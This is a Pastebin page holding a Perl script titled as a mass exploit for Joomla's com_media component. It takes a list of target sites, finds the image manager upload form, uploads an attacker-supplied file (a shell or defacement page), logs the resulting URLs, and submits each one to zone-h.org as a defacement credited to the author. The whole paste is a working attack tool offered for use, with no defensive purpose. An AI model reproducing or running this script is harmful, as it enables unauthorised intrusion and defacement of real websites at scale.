Kyxrecon

mass_exploit_joomla_com_media_+_mass_upload_zone-h

Apr 18th, 2017
755
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.99 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #                        ->Coder By CrashBandicot
  3. #                        ->Update Design By Kyxrec0n and Tr4xb0y
  4. #                        ->sh00tz<- Magnom , m0sta , hamid , samim , Yunus, Ghosty
  5.  
  6.  
  7. use Term::ANSIColor;
  8. use LWP::UserAgent;
  9. use HTTP::Request::Common;
  10. if ($^O =~ /Win/) { system("cls"); } else { system("clear"); }
  11. print"\n";
  12. print colored ("        --=[Com_media Auto Explo!ter]",'blue'),"\n";
  13. print colored ("            --=[Code by CrashBandicot]",'red'),"\n";
  14. print colored ("            --=[Update by Kyxrec0n and Tr4xb0y]",'yellow'),"\n";        
  15. print colored ("        --=[Usage : $0 list.txt file.jpg or file.txt",'green'),"\n";        
  16.  
  17. ;
  18.  
  19. $file = $ARGV[1];
  20. unless ($file) {
  21.  
  22. print colored (" \n\n       --=[Usage : $0 list.txt file.jpg or file.txt",'green'),"\n\n";        
  23.         exit;
  24. }
  25. open(tarrget,"<$ARGV[0]") or die "$!";
  26. while(<tarrget>){
  27. chomp($_);
  28. $webs = $_;
  29. if($webs !~ /http:\/\//)
  30. {
  31. $webs = "http://$webs";
  32. }
  33. $zeeb = $webs."/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=";
  34.  
  35. print colored "\n\n [+] Scanning -> $webs",'green';
  36.  
  37. $ua = LWP::UserAgent->new;
  38. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
  39. $fucki = $ua->get($zeeb);
  40. $kzz = $fucki->content;
  41. if($kzz =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $kzz =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
  42. {
  43.        print colored "\n [+] Try Upload >> $webs",'green'; sleep(1);
  44.  
  45. $url = $1;
  46. $url =~ s/&amp;/&/gi;
  47.  
  48. } else { print colored "\n [-] com_media not found -> $webs",'red'; sleep(1); }
  49.  
  50. my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$file] ]);
  51.  
  52. $shell = $webs."/images/".$file;
  53.  
  54. $check = $ua->get($shell);
  55. if($check->content =~/by/ || $check->is_success ) {
  56.  
  57.        print colored "\n [+] File Uploaded >> $shell\n",'yellow';
  58.  
  59. open(save ,">>save.txt");
  60. print save "$shell\n";
  61. close save;
  62.  
  63. $res= $ua->post("http://zone-h.org/notify/single",[
  64.                                'defacer'     => 'Kyxrec0n', # seu nick
  65.                                'domain1'   => $shell,
  66.                                'hackmode' => '15',
  67.                                'reason'       => '1',
  68.                                'submit'       => 'Send',
  69.                                ]);
  70.                                if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
  71.                                print colored " [+] Submit zone-h $1\n",'red'; sleep(1);
  72.                                }
  73.                                else
  74.                                {
  75.                                print colored "\n [-] Submit zone-h ERROR\n",'blue'; sleep(1);
  76.                                }
  77.  
  78. } else {  print colored "\n [-] File Upload Fail",'red';   }
  79.  
  80.  
  81. }
Advertisement
Add Comment
Please, Sign In to add comment